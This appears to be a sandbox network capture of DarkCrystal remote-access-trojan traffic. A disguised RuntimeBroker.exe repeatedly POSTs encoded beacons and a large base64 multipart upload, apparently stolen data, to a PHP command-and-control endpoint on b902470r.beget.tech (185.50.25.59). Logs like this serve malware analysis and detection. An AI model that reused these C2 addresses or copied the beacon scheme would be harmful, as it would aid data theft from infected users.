Nov 9, 2024 22:23:51.637468100 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50104	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:51.798206091 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:52.149563074 CET	2544	OUT	Data Raw: 55 54 5c 5a 53 5b 5b 53 5d 5d 54 54 54 50 5b 56 56 58 5f 5c 5b 54 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UT\ZS[[S]]TTTP[VVX_\[TZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!\%2#+:5X$'/0 =<Y>;#Z'5%<<0&&]./'Y&%[(<
Nov 9, 2024 22:23:52.720468998 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50105	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:52.761210918 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:53.118069887 CET	540	OUT	Data Raw: 55 53 59 59 56 5c 5e 51 5d 5d 54 54 54 57 5b 50 56 5d 5f 5f 5b 53 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: USYYV\^Q]]TTTW[PV]__[SZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%1* ;>!.<Z$?^ =<*('&5<\3/(+D%>:Z-/'Y&%[(
Nov 9, 2024 22:23:53.682630062 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:53.729450941 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:53.730525017 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2196 Expect: 100-continue
Nov 9, 2024 22:23:54.019150972 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:54.019325972 CET	2196	OUT	Data Raw: 55 5b 59 5e 53 5b 5b 56 5d 5d 54 54 54 5d 5b 5a 56 5c 5f 58 5b 55 5a 5b 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[Y^S[[V]]TTT][ZV\_X[UZ[V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'" 8!>8Z37_ ,Y)8<$5X',(^81=&]-'Y&%[(
Nov 9, 2024 22:23:54.364948034 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 58 2b 5c 3d 51 23 29 22 55 2a 08 21 1a 2b 03 08 07 25 20 33 02 28 2f 35 5d 3c 13 2b 1f 36 5b 2a 5f 27 05 2d 58 21 31 23 03 25 30 2b 5a 01 1c 25 0a 3c 2d 0a 51 24 2b 35 0c 27 19 39 5a 20 2f 3b 5e 32 24 28 00 25 0b 35 1c 3f 33 30 57 2f 32 3e 04 2a 2d 30 18 27 21 36 57 34 35 2a 55 03 12 20 0a 2a 2e 3b 56 25 3d 20 0c 2b 32 34 58 21 58 2c 00 21 15 38 10 24 16 2f 5e 3b 0d 2c 58 25 33 2c 07 3c 0c 20 01 22 2c 03 54 24 00 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #X+\=Q#)"U!+% 3(/5]<+6[_'-X!1#%0+Z%<-Q$+5'9Z /;^2$(%5?30W/2>-0'!6W45U *.;V%= +24X!X,!8$/^;,X%3,< ",T$#P-#H?\V
Nov 9, 2024 22:23:54.365724087 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDnF2JampeGDvzF2JeJ1oJPOdYoisIxmrI User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 358998 Expect: 100-continue
Nov 9, 2024 22:23:54.653279066 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:54.653583050 CET	14832	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 6e 46 32 4a 61 6d 70 65 47 44 76 7a 46 32 4a 65 4a 31 6f 4a 50 4f 64 59 6f 69 73 49 78 6d 72 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------IDnF2JampeGDvzF2JeJ1oJPOdYoisIxmrIContent-Disposition: form-data; name="0"Content-Type: text/plainURY[VV^R]]TTTW[QV__R[UZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:23:54.658521891 CET	9888	OUT	Data Raw: 63 57 70 6c 4d 30 31 71 62 79 74 77 4e 47 6b 7a 54 6e 6c 50 65 44 46 48 62 57 56 50 4e 7a 64 54 64 45 35 6e 63 31 6c 69 56 7a 4a 6c 54 30 56 46 51 6d 34 7a 57 6b 39 54 56 44 4a 51 64 6c 5a 32 4c 32 68 61 5a 58 46 6d 4f 45 46 51 62 46 70 6d 61 79 Data Ascii: cWplM01qbytwNGkzTnlPeDFHbWVPNzdTdE5nc1liVzJlT0VFQm4zWk9TVDJQdlZ2L2haZXFmOEFQbFpmay84QThWWEdJMW0ybTNGKzJzYWRISGJ1c2N5dDUrNUhiZHRYaUlnazdUMEpGT3VJVnM1SjB2THl6dDJqbmt0azh4M3hOSWdCWUtRaHhqY3ZMYlJ6OWNlZTZXWFNscnY2dit1cDZpclpyRkpMYjBpZGgvd3N2VmYrZk9
Nov 9, 2024 22:23:54.658550978 CET	2472	OUT	Data Raw: 4d 7a 68 51 52 53 74 72 5a 6e 70 50 4d 33 4a 74 4c 30 52 75 61 56 4e 59 56 32 52 54 4d 55 4d 77 62 57 70 70 57 48 6c 51 62 57 6f 34 63 30 68 4a 57 47 56 35 4e 31 68 36 4c 30 59 34 62 31 42 49 63 6a 64 57 4d 45 55 34 4f 46 5a 79 59 6e 6c 59 52 58 Data Ascii: MzhQRStrZnpPM3JtL0RuaVNYV2RTMUMwbWppWHlQbWo4c0hJWGV5N1h6L0Y4b1BIcjdWMEU4OFZyYnlYRXpoSW9sTHV4NkFEa212Sy9DdmltMjAvVmRVMVM2aS8wZlVwV2xjd29XYTNJWTdRL0dQbTNldlhyMXI1cXRWVUp4VGRqN1BBNE40akQxcFJqZHExdlcvK1grWFU5V2RGa1JrZFF5TU1NckRJSTlEWGkvaVhSby9EL2l
Nov 9, 2024 22:23:54.658646107 CET	2472	OUT	Data Raw: 52 58 52 79 54 47 4e 32 53 46 6c 58 59 79 39 33 51 58 6c 48 57 54 52 72 62 56 56 6a 61 32 39 75 56 57 70 49 59 7a 52 49 55 47 56 79 52 43 39 45 4d 31 52 76 4f 56 56 48 62 56 41 30 62 32 6c 58 4f 45 31 76 61 55 56 55 56 30 56 76 54 7a 52 75 51 55 Data Ascii: RXRyTGN2SFlXYy93QXlHWTRrbVVja29uVWpIYzRIUGVyRC9EM1RvOVVHbVA0b2lXOE1vaUVUV0VvTzRuQUdlbk9SejByVDhXZU5ialE5WTFiVDlQdEJEcVVtMkdmVURNWElRS1BsaVhBOHRmei9BRHdSK2JmVjVVdmVyS3kvTS9lSlppc1UvWllLU2N1cjdiZC9YejlEWDhWK1BmRDJsNnZhV2RucGs5NU5vcDh1M0tYSmhoall
Nov 9, 2024 22:23:54.658672094 CET	7416	OUT	Data Raw: 62 30 35 4d 55 31 56 42 53 6c 4a 70 61 57 6c 6e 57 57 78 47 54 46 4e 56 52 45 56 77 51 30 74 6a 59 56 4e 6e 51 6e 52 47 53 32 46 54 5a 33 42 44 56 57 68 77 56 46 49 79 62 30 46 69 55 30 64 75 5a 48 46 52 61 57 64 5a 62 45 5a 4d 55 30 56 6a 4d 45 Data Ascii: b05MU1VBSlJpaWlnWWxGTFNVREVwQ0tjYVNnQnRGS2FTZ3BDVWhwVFIyb0FiU0duZHFRaWdZbEZMU0VjMEZDVWxLUlFhQm9iaWlscE1VREVwUHJUalNkYUFFb3BhUTBERXhta3hUdTlKUU1RL3dDY1VsS2FUK2RBd0lOQm82VWZ5b0dKMTRwS1dnL1dnQnZYbnY2MFlwZTlKUU1PTS9oU1VwL1dnOWZhZ1locE9sTGlqdFFBbVB
Nov 9, 2024 22:23:54.658807993 CET	2472	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:23:54.663177967 CET	4944	OUT	Data Raw: 5a 7a 55 72 64 45 64 57 55 46 5a 6d 65 58 42 30 52 6b 46 44 4b 31 64 77 4b 7a 59 7a 4e 54 42 33 65 45 31 50 4d 7a 56 56 4e 30 35 4c 52 30 6c 76 63 30 64 77 52 56 46 6c 4c 30 5a 4b 56 53 73 76 55 46 56 42 4d 47 68 57 52 44 64 56 63 6b 51 31 61 55 Data Ascii: ZzUrdEdWUFZmeXB0RkFDK1dwKzYzNTB3eE1PMzVVN05LR0lvc0dwRVFlL0ZKVSsvUFVBMGhWRDdVckQ1aUhGSlVwaS91a0dtRldIVUdpdzdqYUtLS0xGQ1VVVVVBSlJTMGxNWWhvcGFLUUNZcEtXaWdZM0ZCcGFLQUVvb29vR0pSUlJUR0ZKUzBsQXhLUTB0RkFDVVVVVURFb3BhU21BbEpUcVR2UU1iUjNwYUtReERTVXRGTVl
Nov 9, 2024 22:23:54.663388968 CET	2472	OUT	Data Raw: 51 32 74 76 51 55 38 7a 64 6c 4e 46 4f 47 52 78 57 45 6f 35 53 30 31 5a 62 30 64 4b 55 6a 63 77 57 54 51 76 62 6c 4d 72 64 6e 5a 52 54 54 63 79 62 58 6c 4f 63 31 46 30 4e 6b 52 4b 63 44 46 55 4d 6d 78 6f 59 7a 5a 73 53 32 4a 6c 4d 57 68 4e 4d 47 Data Ascii: Q2tvQU8zdlNFOGRxWEo5S01Zb0dKUjcwWTQvblMrdnZRTTcybXlOc1F0NkRKcDFUMmxoYzZsS2JlMWhNMGhVa29PdU85YzFaUmRPU2s3Sm8rZHdjNVU4UlRuRlhhYWR1OW5jYmIzTEl3WldJSTdpcGRYOFJYbHJEYXh3dHNFaW5mS0J5U0QwSHAyUDQwNkR3bjRqakd4OUxuTzA0RGNjajg2bzMxc3ltU3h2b2lyb2VWejh5Ti9
Nov 9, 2024 22:23:55.679775953 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50106	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:53.015089035 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:53.368102074 CET	2544	OUT	Data Raw: 55 56 5c 5e 56 58 5b 55 5d 5d 54 54 54 53 5b 52 56 5d 5f 52 5b 50 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UV\^VX[U]]TTTS[RV]_R[PZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"3=A7Y#>?3</^ .^++40$0,$(82.^-'Y&%[(0
Nov 9, 2024 22:23:53.939642906 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:53.987451077 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50107	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:54.118947983 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2536 Expect: 100-continue
Nov 9, 2024 22:23:54.477533102 CET	2536	OUT	Data Raw: 55 56 59 58 56 59 5e 56 5d 5d 54 54 54 55 5b 54 56 5d 5f 5b 5b 57 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UVYXVY^V]]TTTU[TV]_[[WZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'#5X+3?/Y#X$*+40C$\$/X((#%>"_-'Y&%[(
Nov 9, 2024 22:23:55.049144030 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:55.395515919 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:55.395531893 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:55.395777941 CET	250	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2d 72 65 75 73 65 70 6f 72 74 2f 31 2e 32 31 2e 31 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 39 20 4e 6f 76 20 32 30 32 34 20 32 31 3a 32 33 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 33 30 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 33 33 0d 0a 0d 0a 31 52 5a 56 Data Ascii: HTTP/1.1 200 OKServer: nginx-reuseport/1.21.1Date: Sat, 09 Nov 2024 21:23:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-aliveKeep-Alive: timeout=30X-Powered-By: PHP/7.4.331RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50108	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:55.524791956 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:55.883740902 CET	2544	OUT	Data Raw: 50 52 59 53 53 5a 5b 53 5d 5d 54 54 54 5c 5b 55 56 5a 5f 5c 5b 5c 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PRYSSZ[S]]TTT\[UVZ_\[\ZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"%!>#9Y"-$\$7#.,X++ '0'Z+<$2=&\.'Y&%[(
Nov 9, 2024 22:23:56.455471039 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:56.501948118 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50109	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:56.618858099 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:56.977593899 CET	2544	OUT	Data Raw: 55 51 5c 5a 56 5b 5b 51 5d 5d 54 54 54 57 5b 50 56 5b 5f 5a 5b 56 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UQ\ZV[[Q]]TTTW[PV[_Z[VZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'2)A4%[#=;'Z?[4/);0'%''#+%&./'Y&%[(
Nov 9, 2024 22:23:58.213299036 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:58.213443995 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:58.213561058 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:58.213603020 CET	250	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2d 72 65 75 73 65 70 6f 72 74 2f 31 2e 32 31 2e 31 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 39 20 4e 6f 76 20 32 30 32 34 20 32 31 3a 32 33 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 33 30 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 37 2e 34 2e 33 33 0d 0a 0d 0a 31 52 5a 56 Data Ascii: HTTP/1.1 200 OKServer: nginx-reuseport/1.21.1Date: Sat, 09 Nov 2024 21:23:57 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-aliveKeep-Alive: timeout=30X-Powered-By: PHP/7.4.331RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50110	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:58.337563038 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:58.696212053 CET	2544	OUT	Data Raw: 50 56 59 52 53 5f 5b 56 5d 5d 54 54 54 52 5b 5a 56 5b 5f 5b 5b 51 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PVYRS_[V]]TTTR[ZV[_[[QZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!^%!2#5[!'3#7>'^'C/'++((%->-/'Y&%[(
Nov 9, 2024 22:23:59.262042046 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:59.319715977 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50111	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:59.379168987 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2220 Expect: 100-continue Connection: Keep-Alive
